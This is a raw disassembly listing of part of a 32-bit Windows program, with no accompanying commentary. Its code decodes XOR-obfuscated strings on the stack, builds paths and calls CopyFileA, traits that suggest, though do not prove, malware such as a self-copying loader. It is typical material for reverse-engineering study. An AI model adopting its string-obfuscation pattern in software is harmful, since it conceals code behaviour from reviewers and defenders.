mov dword [ebp - 0x88], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x84], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420432
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.00402b80
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x98]
cmp dword [ebp - 0x84], 0x10
xorps xmm0, xmm0
mov byte [ebp - 0x23], 0xdb
cmovae eax, dword [ebp - 0x98]
xor ecx, ecx
mov dword [ebp - 0x34], eax
movq qword [ebp - 0x22], xmm0
mov word [ebp - 0x1a], 0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 1
jb 0x420480
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x23]
mov byte [ebp - 0x22], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4204b3
sub ecx, edx
lea eax, [ebp - 0x23]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402b80
mov byte [ebp - 4], 0x19
lea edx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
cmovae edx, dword [ebp - 0x4c]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4204e0
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x58]
sub eax, esi
cmp eax, ecx
jb 0x421ac4
cmp dword [ebp - 0x54], 0x10
lea eax, [ebp - 0x68]
push ecx
cmovae eax, dword [ebp - 0x68]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x50]
lea ecx, [ebp - 0xb0]
call fcn.0048aa20
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x1c8]
cmp dword [ebp - 0x1b4], 0x10
mov edx, dword [ebp - 0xa0]
cmovae ecx, dword [ebp - 0x1c8]
mov eax, dword [ebp - 0x9c]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x420582
cmp dword [ebp - 0x9c], 0x10
lea esi, [ebp - 0xb0]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0xb0]
mov dword [ebp - 0xa0], eax
lea eax, [esi + edx]
push eax
call fcn.004fcb50
mov eax, dword [ebp - 0x14]
add esp, 0xc
add eax, esi
mov byte [eax + edi], 0
lea eax, [ebp - 0xb0]
jmp 0x420595
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0xb0]
push dword [ebp - 0x14]
push edi
call fcn.00488e80
mov dword [ebp - 0x100], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x110], xmm0
mov dword [ebp - 0xfc], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x110], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x100], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x110]
push dword [ebp - 0x34]
call fcn.00482d20
mov dword [ebp - 0x70], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x6c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x80], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x70], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0xfc]
cmp ecx, 0x10
jb 0x420662
mov edx, dword [ebp - 0x110]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420658
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ac9
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0xf
mov byte [ebp - 0x110], 0
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x4206bb
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4206b1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ac9
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0xf
mov byte [ebp - 0xb0], 0
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x42070e
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420704
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ac9
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x84]
cmp ecx, 0x10
jb 0x42074c
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420742
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ac9
push ecx
push edx
call fcn.004fb0f1
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x80]
mov ecx, esp
push eax
call fcn.00483010
call fcn.0040da60
add esp, 0x18
test al, al
jne 0x421415
cmp dword [ebp - 0x6c], 0x10
lea ecx, [ebp - 0x80]
push 0
cmovae ecx, dword [ebp - 0x80]
lea eax, [ebp - 0x1e0]
cmp dword [ebp - 0x1cc], 0x10
push ecx
cmovae eax, dword [ebp - 0x1e0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x421415
movaps xmm0, xmmword [0x548970]
xor ecx, ecx
movups xmmword [ebp - 0x150], xmm0
mov dword [ebp - 0x140], 0xbaf5eab8
movaps xmm0, xmmword [0x5480e0]
mov byte [ebp - 0x13c], 0xd3
movups xmmword [ebp - 0x13b], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x150], al
inc ecx
cmp ecx, 0x1b
jb 0x4207d0
mov dword [0x55d618], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x150]
mov byte [ebp - 0x135], 0
movups xmmword [ebp - 0x16c], xmm0
mov dword [ebp - 0x15c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x158], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420815
sub ecx, edx
lea eax, [ebp - 0x150]
push ecx
push eax
lea ecx, [ebp - 0x16c]
call fcn.00402b80
mov byte [ebp - 4], 0x21
lea eax, [ebp - 0x16c]
cmp dword [ebp - 0x158], 0x10
movaps xmm0, xmmword [0x546e00]
cmovae eax, dword [ebp - 0x16c]
xor ecx, ecx
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x29], 0xa5
movups xmmword [ebp - 0x28], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x29], al
inc ecx
cmp ecx, 7
jb 0x420860
mov dword [0x55d560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x29]
mov byte [ebp - 0x22], 0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x84], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4208a0
sub ecx, edx
lea eax, [ebp - 0x29]
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.00402b80
mov byte [ebp - 4], 0x22
lea edi, [ebp - 0x98]
cmp dword [ebp - 0x84], 0x10
movaps xmm0, xmmword [0x546e10]
cmovae edi, dword [ebp - 0x98]
xor ecx, ecx
mov byte [ebp - 0x29], 0xa5
movups xmmword [ebp - 0x28], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x29], al
inc ecx
cmp ecx, 7
jb 0x4208e2
mov dword [0x55d560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x29]
mov byte [ebp - 0x22], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420915
sub ecx, edx
lea eax, [ebp - 0x29]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402b80
mov byte [ebp - 4], 0x23
lea esi, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x398]
xorps xmm0, xmm0
mov dword [ebp - 0x118], 0
cmovae esi, dword [ebp - 0x4c]
lea edx, [ecx + 1]
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x114], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420961
sub ecx, edx
lea eax, [ebp - 0x398]
push ecx
push eax
lea ecx, [ebp - 0x128]
call fcn.00402b80
mov byte [ebp - 4], 0x24
xor ecx, ecx
movaps xmm0, xmmword [0x549940]
movups xmmword [ebp - 0x14e], xmm0
mov word [ebp - 0x13e], 0xb7b7
movaps xmm0, xmmword [0x546ef0]
mov byte [ebp - 0x13c], 0xff
movups xmmword [ebp - 0x13b], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x14e], al
inc ecx
cmp ecx, 0x19
jb 0x4209b0
mov dword [0x55d638], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x14e]
mov byte [ebp - 0x135], 0
movups xmmword [ebp - 0xe0], xmm0
mov dword [ebp - 0xd0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xcc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4209f5
sub ecx, edx
lea eax, [ebp - 0x14e]
push ecx
push eax
lea ecx, [ebp - 0xe0]
call fcn.00402b80
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0x128]
cmp dword [ebp - 0xcc], 0x10
lea edx, [ebp - 0xe0]
push eax
cmovae edx, dword [ebp - 0xe0]
lea ecx, [ebp - 0x194]
call fcn.00486e40
add esp, 4
push esi
mov ecx, eax
mov byte [ebp - 4], 0x26
call fcn.00482d20
mov dword [ebp - 0xe8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xe4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xf8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xe8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x80]
mov byte [ebp - 4], 0x27
push eax
lea edx, [ebp - 0xf8]
lea ecx, [ebp - 0x28c]
call fcn.00486f40
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x274]
call fcn.00486d80
add esp, 4
lea ecx, [ebp - 0x1c8]
mov byte [ebp - 4], 0x29
push ecx
mov edx, eax
lea ecx, [ebp - 0x25c]
call fcn.00486f40
add esp, 4
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x144]
push dword [ebp - 0x14]
mov edx, eax
call fcn.00486d80
add esp, 4
lea ecx, [ebp - 0x25c]
call fcn.00402a10
lea ecx, [ebp - 0x274]
call fcn.00402a10
lea ecx, [ebp - 0x28c]
call fcn.00402a10
lea ecx, [ebp - 0xf8]
call fcn.00402a10
lea ecx, [ebp - 0x194]
call fcn.00402a10
lea ecx, [ebp - 0xe0]
call fcn.00402a10
lea ecx, [ebp - 0x128]
call fcn.00402a10
mov byte [ebp - 4], 0x33
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x420b78
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420b6e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ace
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x34
mov ecx, dword [ebp - 0x84]
cmp ecx, 0x10
jb 0x420bb6
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420bac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ace
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x35
mov ecx, dword [ebp - 0x158]
cmp ecx, 0x10
jb 0x420bf4
mov edx, dword [ebp - 0x16c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420bea
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ace
push ecx
push edx
call fcn.004fb0f1
add esp, 8
cmp dword [ebp - 0x134], 0
lea eax, [ebp - 0x144]
setbe byte [ebp - 0x15]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00483010
mov cl, byte [ebp - 0x15]
call fcn.0041c700
movaps xmm0, xmmword [0x549340]
add esp, 0x18
movups xmmword [ebp - 0x178], xmm0
xor ecx, ecx
mov dword [ebp - 0x168], 0xf6ebb7b7
movaps xmm0, xmmword [0x548170]
mov word [ebp - 0x164], 0xd4bb
movups xmmword [ebp - 0x162], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x178], al
inc ecx
cmp ecx, 0x1c
jb 0x420c50
mov dword [0x55d5f4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x178]
mov byte [ebp - 0x15c], 0
movups xmmword [ebp - 0xe0], xmm0
mov dword [ebp - 0xd0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xcc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420c95
sub ecx, edx
lea eax, [ebp - 0x178]
push ecx
push eax
lea ecx, [ebp - 0xe0]
call fcn.00402b80
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0xe0]
cmp dword [ebp - 0xcc], 0x10
movaps xmm0, xmmword [0x546e00]
cmovae eax, dword [ebp - 0xe0]
xor ecx, ecx
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x29], 0xa5
movups xmmword [ebp - 0x28], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x29], al
inc ecx
cmp ecx, 7
jb 0x420ce0
mov dword [0x55d560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x29]
mov byte [ebp - 0x22], 0
movups xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xe8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe4], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420d20
sub ecx, edx
lea eax, [ebp - 0x29]
push ecx
push eax
lea ecx, [ebp - 0xf8]
call fcn.00402b80
mov byte [ebp - 4], 0x37
lea edi, [ebp - 0xf8]
cmp dword [ebp - 0xe4], 0x10
movaps xmm0, xmmword [0x546e10]
cmovae edi, dword [ebp - 0xf8]
xor ecx, ecx
mov byte [ebp - 0x29], 0xa5
movups xmmword [ebp - 0x28], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x29], al
inc ecx
cmp ecx, 7
jb 0x420d62
mov dword [0x55d560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x29]
mov byte [ebp - 0x22], 0
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x118], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x114], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420da0
sub ecx, edx
lea eax, [ebp - 0x29]
push ecx
push eax
lea ecx, [ebp - 0x128]
call fcn.00402b80
mov byte [ebp - 4], 0x38
lea esi, [ebp - 0x128]
cmp dword [ebp - 0x114], 0x10
lea ecx, [ebp - 0x398]
xorps xmm0, xmm0
mov dword [ebp - 0x3c], 0
cmovae esi, dword [ebp - 0x128]
lea edx, [ecx + 1]
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x38], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420df0
sub ecx, edx
lea eax, [ebp - 0x398]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402b80
mov byte [ebp - 4], 0x39
xor ecx, ecx
movaps xmm0, xmmword [0x549940]
movups xmmword [ebp - 0x19c], xmm0
mov word [ebp - 0x18c], 0xb7b7
movaps xmm0, xmmword [0x546ef0]
mov byte [ebp - 0x18a], 0xff
movups xmmword [ebp - 0x189], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x19c], al
inc ecx
cmp ecx, 0x19
jb 0x420e40
mov dword [0x55d638], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x19c]
mov byte [ebp - 0x183], 0
movups xmmword [ebp - 0x16c], xmm0
mov dword [ebp - 0x15c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x158], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420e85
sub ecx, edx
lea eax, [ebp - 0x19c]
push ecx
push eax
lea ecx, [ebp - 0x16c]
call fcn.00402b80
mov byte [ebp - 4], 0x3a
lea eax, [ebp - 0x4c]
cmp dword [ebp - 0x158], 0x10
lea edx, [ebp - 0x16c]
push eax
cmovae edx, dword [ebp - 0x16c]
lea ecx, [ebp - 0x22c]
call fcn.00486e40
add esp, 4
push esi
mov ecx, eax
mov byte [ebp - 4], 0x3b
call fcn.00482d20
mov dword [ebp - 0x88], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x84], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x98], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x88], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x80]
mov byte [ebp - 4], 0x3c
push eax
lea edx, [ebp - 0x98]
lea ecx, [ebp - 0x214]
call fcn.00486f40
add esp, 4
push edi
mov ecx, eax
mov byte [ebp - 4], 0x3d
call fcn.00482d20
mov dword [ebp - 0xa0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xb0], xmm0
mov dword [ebp - 0x9c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xb0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xa0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x3e
lea edx, [ebp - 0x1c8]
cmp dword [ebp - 0x1b4], 0x10
mov ecx, dword [ebp - 0xa0]
cmovae edx, dword [ebp - 0x1c8]
mov eax, dword [ebp - 0x9c]
mov edi, dword [ebp - 0x1b8]
sub eax, ecx
mov dword [ebp - 0x14], ecx
push edi
push edx
cmp edi, eax
ja 0x420ffb
cmp dword [ebp - 0x9c], 0x10
lea esi, [ebp - 0xb0]
lea eax, [edi + ecx]
cmovae esi, dword [ebp - 0xb0]
mov dword [ebp - 0xa0], eax
lea eax, [esi + ecx]
push eax
call fcn.004fcb50
mov ecx, dword [ebp - 0x14]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0xb0]
jmp 0x42100e
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0xb0]
push dword [ebp - 0x14]
push edi
call fcn.00488e80
mov dword [ebp - 0x100], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x110], xmm0
mov dword [ebp - 0xfc], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x110], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x100], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x110]
push dword [ebp - 0x34]
call fcn.00482d20
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x30], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x20], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x41
mov ecx, dword [ebp - 0xfc]
cmp ecx, 0x10
jb 0x4210c6
mov edx, dword [ebp - 0x110]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4210bc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ad3
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0xf
mov byte [ebp - 0x110], 0
mov byte [ebp - 4], 0x42
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x42111f
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421115
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ad3
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0xf
mov byte [ebp - 0xb0], 0
mov byte [ebp - 4], 0x43
mov ecx, dword [ebp - 0x200]
cmp ecx, 0x10
jb 0x421178
mov edx, dword [ebp - 0x214]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42116e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ad3
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x200], 0xf
mov byte [ebp - 0x214], 0
mov byte [ebp - 4], 0x44
mov ecx, dword [ebp - 0x84]
cmp ecx, 0x10
jb 0x4211d1
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4211c7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ad3
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
mov byte [ebp - 4], 0x45
mov ecx, dword [ebp - 0x218]
cmp ecx, 0x10
jb 0x42122a
mov edx, dword [ebp - 0x22c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421220
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ad3
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x218], 0xf
mov byte [ebp - 0x22c], 0
mov byte [ebp - 4], 0x46
mov ecx, dword [ebp - 0x158]
cmp ecx, 0x10
jb 0x421283
mov edx, dword [ebp - 0x16c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421279
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ad3
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x47
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x4212bb
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4212b1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ad3
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
mov byte [ebp - 4], 0x48
mov ecx, dword [ebp - 0x114]
cmp ecx, 0x10
jb 0x42130b
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421301
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ad3
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x49
mov ecx, dword [ebp - 0xe4]
cmp ecx, 0x10
jb 0x421349
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42133f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ad3
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x4a
mov ecx, dword [ebp - 0xcc]
cmp ecx, 0x10
jb 0x421387
mov edx, dword [ebp - 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42137d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ad3
push ecx
push edx
call fcn.004fb0f1
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x30]
mov ecx, esp
push eax
call fcn.00483010
xor cl, cl
call fcn.0041c700
mov byte [ebp - 4], 0x35
add esp, 0x18
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x4213d7
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4213cd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ad8
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x130]
cmp ecx, 0x10
jb 0x421415
mov edx, dword [ebp - 0x144]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42140b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ad8
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x42144d
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421443
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ad8
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x421485
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42147b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421add
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov esi, dword [ebp - 0x50]
test esi, esi
je 0x421966
mov ecx, esi
mov dword [ebp - 0x3c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
movups xmmword [ebp - 0x4c], xmm0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4214b0
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x4c]
call fcn.00402b80
mov byte [ebp - 4], 0x4b
xor ecx, ecx
movaps xmm0, xmmword [0x548340]
movups xmmword [ebp - 0x28], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 6
jb 0x4214d4
mov dword [0x55d548], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x28]
mov byte [ebp - 0x22], 0
movups xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xe8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421510
sub ecx, edx
lea eax, [ebp - 0x28]
push ecx
push eax
lea ecx, [ebp - 0xf8]
call fcn.00402b80
mov byte [ebp - 4], 0x4c
lea esi, [ebp - 0xf8]
cmp dword [ebp - 0xe4], 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x27], 0xede8fadb
cmovae esi, dword [ebp - 0xf8]
xor ecx, ecx
mov byte [ebp - 0x23], 0xee
movq qword [ebp - 0x22], xmm0
mov word [ebp - 0x1a], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 5
jb 0x421560
mov dword [0x55d544], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x27]
mov byte [ebp - 0x22], 0
movups xmmword [ebp - 0xe0], xmm0
mov dword [ebp - 0xd0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xcc], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4215a0
sub ecx, edx
lea eax, [ebp - 0x27]
push ecx
push eax
lea ecx, [ebp - 0xe0]
call fcn.00402b80
mov byte [ebp - 4], 0x4d
lea edx, [ebp - 0xe0]
cmp dword [ebp - 0xcc], 0x10
cmovae edx, dword [ebp - 0xe0]
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4215d6
sub ecx, edi
mov eax, closesocket
mov edi, dword [0x55ab3c]
sub eax, edi
cmp eax, ecx
jb 0x421ae2
cmp dword [0x55ab40], 0x10
mov eax, 0x55ab2c
push edi
cmovae eax, dword [0x55ab2c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x50]
lea ecx, [ebp - 0x128]
call fcn.0048aa20
push esi
lea ecx, [ebp - 0x128]
mov byte [ebp - 4], 0x4e
call fcn.00482d20
movups xmm0, xmmword [eax]
